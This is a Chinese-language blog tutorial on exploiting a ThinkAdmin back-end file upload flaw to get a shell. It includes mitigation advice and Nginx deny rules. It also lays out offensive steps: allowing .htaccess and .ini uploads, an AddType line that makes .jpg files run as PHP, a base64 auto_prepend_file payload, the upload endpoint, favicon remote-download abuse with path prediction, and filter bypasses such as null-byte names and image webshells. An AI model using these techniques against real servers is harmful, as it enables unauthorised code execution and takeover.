ThinkAdmin后台文件上传漏洞实战:从配置修改到Getshell
1. ThinkAdmin后台文件上传漏洞初探第一次接触ThinkAdmin这个后台管理系统时我就被它简洁的界面和丰富的功能吸引了。但作为一名安全研究人员职业习惯让我更关注它的安全性。最近在测试过程中我发现了一个相当有意思的文件上传漏洞通过系统参数配置就能实现Getshell整个过程就像在玩解谜游戏一样有趣。ThinkAdmin的文件上传功能本意是为了方便管理员上传各类资源文件但系统参数配置中的几个关键选项如果设置不当就可能被攻击者利用。最危险的是这个漏洞不需要任何复杂的代码审计就能发现只要熟悉后台操作就能轻松利用。我在本地环境测试时从发现漏洞到最终拿到服务器权限整个过程不到10分钟。这个漏洞的核心在于系统对上传文件类型的校验机制。虽然默认配置已经禁止了php等危险文件的上传但通过修改系统参数我们可以添加其他可执行文件类型比如ini、htaccess等。更妙的是系统还提供了一个远程下载文件的功能这简直就是为攻击者量身定做的后门。2. 漏洞利用详细步骤2.1 修改系统参数配置要利用这个漏洞第一步就是登录ThinkAdmin后台。默认情况下你需要有管理员权限才能进行后续操作。进入后台后找到系统管理-系统参数配置-本地服务器存储这个路径。这里就是我们要操作的关键位置。在参数配置页面你会看到一个名为允许上传的文件类型的选项。默认情况下这里可能已经列出了一些安全的文件类型比如jpg、png、gif等图片格式以及pdf、doc等文档格式。但重点在于我们可以在这里添加新的文件类型。我测试时发现虽然系统明确禁止了php文件的上传但我们可以添加其他服务器可解析的文件类型比如.htaccess.ini.phtml.phar添加这些类型后保存配置系统就会允许上传这些文件了。这里有个小技巧最好一次只添加一个类型测试通过后再添加下一个这样可以避免触发系统的某些防护机制。2.2 构造恶意文件并上传有了允许上传的文件类型接下来就需要准备我们的恶意文件了。根据你添加的允许类型可以选择不同的攻击方式如果是.htaccess文件可以写入以下内容AddType application/x-httpd-php .jpg这样服务器就会把jpg文件当作php来解析之后我们只需要上传一个包含php代码的jpg文件就能执行任意代码了。如果是.ini文件可以尝试利用PHP的auto_prepend_file功能。例如auto_prepend_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg这段base64解码后就是会在每个php文件执行前先执行这段代码。准备好恶意文件后就可以通过系统的上传接口进行上传了。根据我的测试上传接口通常是/admin/api.upload/file使用Burp Suite或者Postman等工具可以直接调用这个接口。上传成功后系统会返回文件的存储路径这个信息非常重要是我们后续利用的关键。3. 远程文件下载功能利用3.1 发现远程下载功能ThinkAdmin还有一个隐藏得更深的功能就是可以通过系统参数配置中的浏览器小图标选项实现远程文件下载。这个功能本意可能是为了方便管理员更换网站图标但却可以被用来下载任意文件到服务器上。在系统参数配置页面找到浏览器小图标这个选项。正常情况下这里应该是上传一个本地图标文件但如果你仔细观察会发现这个字段其实可以填入一个远程URL。系统会定期检查这个URL并自动将文件下载到服务器上。3.2 计算文件存储路径下载的文件会存储在服务器的特定位置ThinkAdmin使用了一个有趣的算法来计算存储路径。根据我分析的代码路径生成逻辑大致如下function name(string $url, string $ext , string $pre , string $fun md5): string { [$hah, $ext] [$fun($url), trim($ext ?: pathinfo($url, 4), .\/)]; $attr [trim($pre, .\\/), substr($hah, 0, 2), substr($hah, 2, 30)]; return trim(join(/, $attr), /) . . . strtolower($ext ?: tmp); }举个例子如果你设置的远程URL是https://www.example.com/shell.php那么文件可能会被存储在/upload/down/4d/8e3b4d8e3b4d8e3b4d8e3b4d8e3b4d/shell.php知道这个路径计算规则后我们就可以精确预测我们的恶意文件会被放在服务器的什么位置这对后续的利用至关重要。3.3 结合两种攻击方式最理想的攻击方式是结合文件上传和远程下载两种功能。我通常会这样做先通过修改系统参数添加上传.htaccess文件的权限上传一个自定义的.htaccess文件让服务器把.jpg文件当作php解析然后在浏览器小图标处设置一个远程URL指向包含php代码的jpg文件系统会自动下载这个图片到可预测的位置由于.htaccess的作用这个jpg文件会被当作php执行这样即使系统有严格的文件内容检查也会因为文件扩展名是jpg而放行但实际上它会被当作php执行完美绕过各种防护。4. 漏洞防御与修复建议4.1 临时防护措施如果你正在使用ThinkAdmin且暂时无法升级可以采取以下临时防护措施首先检查系统参数配置中的允许上传的文件类型确保只包含必要的文件类型最好是只允许图片类格式。特别注意检查是否有.htaccess、.ini等危险类型被添加。其次在Nginx或Apache配置中添加规则禁止上传目录执行php代码。例如在Nginx中可以在server配置中添加location ~* ^/uploads/.*\.(php|php5|htaccess|ini)$ { deny all; }最后可以考虑禁用浏览器小图标的远程URL功能。修改系统代码将这个输入框改为只能上传本地文件或者完全移除远程下载的功能。4.2 长期解决方案从长远来看最好的解决方案是升级到最新版本的ThinkAdmin。开发者通常会在新版本中修复已知的安全漏洞。升级前记得备份重要数据并在测试环境验证无误后再应用到生产环境。对于开发者来说应该重新设计文件上传功能至少要做到以下几点文件类型检查应该使用MIME类型而不仅仅是文件扩展名上传的文件应该重命名为随机名称避免路径预测上传目录应该设置为不可执行脚本远程下载功能应该完全移除或者增加严格的白名单校验另外建议实现一个完善的文件内容检查机制可以使用开源的病毒扫描引擎或者至少对上传的文件进行简单的魔数校验确保文件类型与扩展名匹配。5. 漏洞利用的实战技巧在实际渗透测试中直接上传php文件往往会被各种安全机制拦截。这时候就需要一些技巧来绕过防护。我总结了几种在ThinkAdmin中比较有效的绕过方法第一种是使用大小写混淆。虽然系统禁止了.php但可能没有禁止.PhP或者.pHp这样的变种。在修改系统参数时可以尝试添加这些变体。第二种是使用空字节截断。在某些版本的系统中可以通过构造如shell.php.jpg这样的文件名配合空字节截断来绕过检查。上传时的文件名可以设置为shell.php%00.jpg。第三种是利用解析差异。比如上传一个.htaccess文件内容为FilesMatch shell SetHandler application/x-httpd-php /FilesMatch然后上传一个名为shell的文件虽然没有扩展名但会被当作php执行。第四种是使用图片马。先准备一个正常的图片文件然后用文本编辑器在文件末尾添加php代码。虽然看起来是图片但某些情况下服务器仍会执行其中的php代码。这种方法配合.htaccess的解析规则修改效果最好。在实际操作中这些方法可能需要组合使用并且要根据目标系统的具体配置进行调整。每次测试后都要仔细检查服务器响应从中寻找可能的突破口。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2435149.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!